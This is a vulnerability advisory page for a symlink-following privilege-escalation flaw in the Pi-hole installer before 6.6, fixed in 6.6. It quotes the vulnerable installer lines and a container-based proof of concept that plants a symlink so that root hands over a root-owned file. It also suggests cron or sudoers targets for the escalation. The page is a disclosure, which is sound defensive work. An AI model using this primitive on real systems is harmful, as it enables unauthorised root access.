Symlink following in Pi-hole installer lets root overwrite files
Key facts
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- High · High · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-wp3p-45h3-2v82. Fix status from GitHub.
Summary
Pi-hole before 6.6 has a symlink-following flaw in its installer. The pihole user can replace files under /etc/pihole with symlinks, and when an administrator runs pihole -r or pihole -up, the installer running as root follows them and changes ownership or contents of files outside that directory (CWE-59). A local user with low privileges who holds the pihole account can use this to reach files that root can write.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary /etc/pihole is owned by the pihole user. The installer does chown -R pihole:pihole /etc/pihole at basic-install.sh:1294. So pihole can swap any file in that directory for a symlink. When an admin runs sudo pihole -r (repair) or sudo pihole -up (update), both re-exec basic-install.sh as root, and root then writes to three fixed paths under /etc/pihole with chown, chmod, a > redirect and install -D. None of them guard against symlinks, so root follows a planted one and hands pihole ownership (or the contents) of a file outside /etc/pihole that it shouldn't be able to reach. Same class and same foothold as the October LPEs (GHSA-xch2-4qxw-g5vj, GHSA-6w8x-p785-6pm4, GHSA-h8w9-qx2v-wrww). That pass fixed versions, dhcp.leases, and config-supplied paths in 406c6bc, but these three installer sinks were left behind, and test/test_symlink_safety.bats doesn't test them. ### Details All three sinks are hard-coded paths under the pihole-owned /etc/pihole, so commit 406c6bc (which only addressed config-supplied paths) does not apply. copy_to_install_log — basic-install.sh:2306-2308, called from main() at line 2547: ```sh sed 's/\[[0-9;]\{1,5\}m//g' </proc/$$/fd/3 >"${installLogLoc}" # installLogLoc=/etc/pihole/install.log (line 70) chmod 644 "${installLogLoc}" chown pihole:pihole "${installLogLoc}" ``` > truncates+overwrites the symlink target with installer output; chmod 644 and chown pihole:pihole are applied to the target. move_old_dnsmasq_ftl_configs — basic-install.sh:1183-1184: ```sh mkdir -p "${V6_CONF_MIGRATION_DIR}" # /etc/pihole/migration_backup_v6 chown pihole:pihole "${V6_CONF_MIGRATION_DIR}" # no --no-dereference ``` If the path is a symlink to a root-owned directory, that directory's ownership is transferred to pihole; root then moves dnsmasq confs into it. custom.list initialisation — basic-install.sh:1297-1298: ```sh install -D -T -o pihole -g pihole -m 660 /dev/null "${PI_HOLE_CONFIG_DIR}/hosts/custom.list" ``` install -D builds the parent chain following an intermediate hosts/ symlink, creating a pihole-writable file inside an attacker-chosen root-owned directory. Chowning a root-owned file to pihole is the same primitive you rated High in GHSA-mff6-cjc4-5wq9. Aim the symlink at a file or directory root reads or executes later — a root-run script, a cron drop-in, a sudoers include, depending on the host — and pihole gets write access to it, which is the escalation. Duplicate check performed 2026-11-05 against the full published text of all 8 pi-hole/pi-hole advisories: none name install.log, copy_to_install_log, migration_backup_v6, move_old_dnsmasq_ftl_configs, custom.list, or hosts/. Each existing advisory targets a different sink (versions, files.gravity, the PID file, files.pid, logrotate). ### Proof of concept Reproduced in an isolated container (official test/_debian_13.Dockerfile image, run with --network none) on v6.5 (commit f503a65), simulating the already-accepted precondition "code execution as the pihole user". Sink 1 (ownership + mode + content takeover of an arbitrary root-owned file): ```sh useradd -r pihole mkdir -p /root/secret /etc/pihole echo root-owned-secret > /root/secret/target chmod 600 /root/secret/target; chown root:root /root/secret/target ln -s /root/secret/target /etc/pihole/install.log export SKIP_INSTALL=true installLogLoc=/etc/pihole/install.log source "/opt/pihole/basic-install.sh" exec 3< <(printf 'installer output\n') copy_to_install_log stat -c '%U %a' /root/secret/target ``` Observed before → after: ``` before: root 600 content="root-owned-secret" after: pihole 644 content="installer output" ``` Sinks 2 and 3 reproduce the same way by planting a symlink at /etc/pihole/migration_backup_v6 (→ an arbitrary root-owned directory becomes pihole-owned) and at /etc/pihole/hosts (→ install -D creates a pihole-writable file inside an attacker-chosen root-owned directory). ### Impact LPE from pihole to root. The attacker needs code execution as pihole to begin with (via the web API or an FTL compromise, the same starting point accepted in GHSA-6w8x-p785-6pm4 and GHSA-mff6-cjc4-5wq9), plus one routine sudo pihole -r or -up from an admin. Root transfers ownership of a root-controlled file or directory to pihole; pihole then modifies something root later trusts and runs code as root.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | pi-hole | <= 6.5 | 6.6 | Patch available | GHSA-wp3p-45h3-2v82 |
- pi-hole Vendor— Affected <= 6.5 Fixed in 6.6 Patch available GHSA-wp3p-45h3-2v82
Remediation
Update Pi-hole to version 6.6 or later, which is the fixed version listed for pi-hole.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-wp3p-45h3-2v82 pi-hole Fixed in 6.6 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-wp3p-45h3-2v82
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences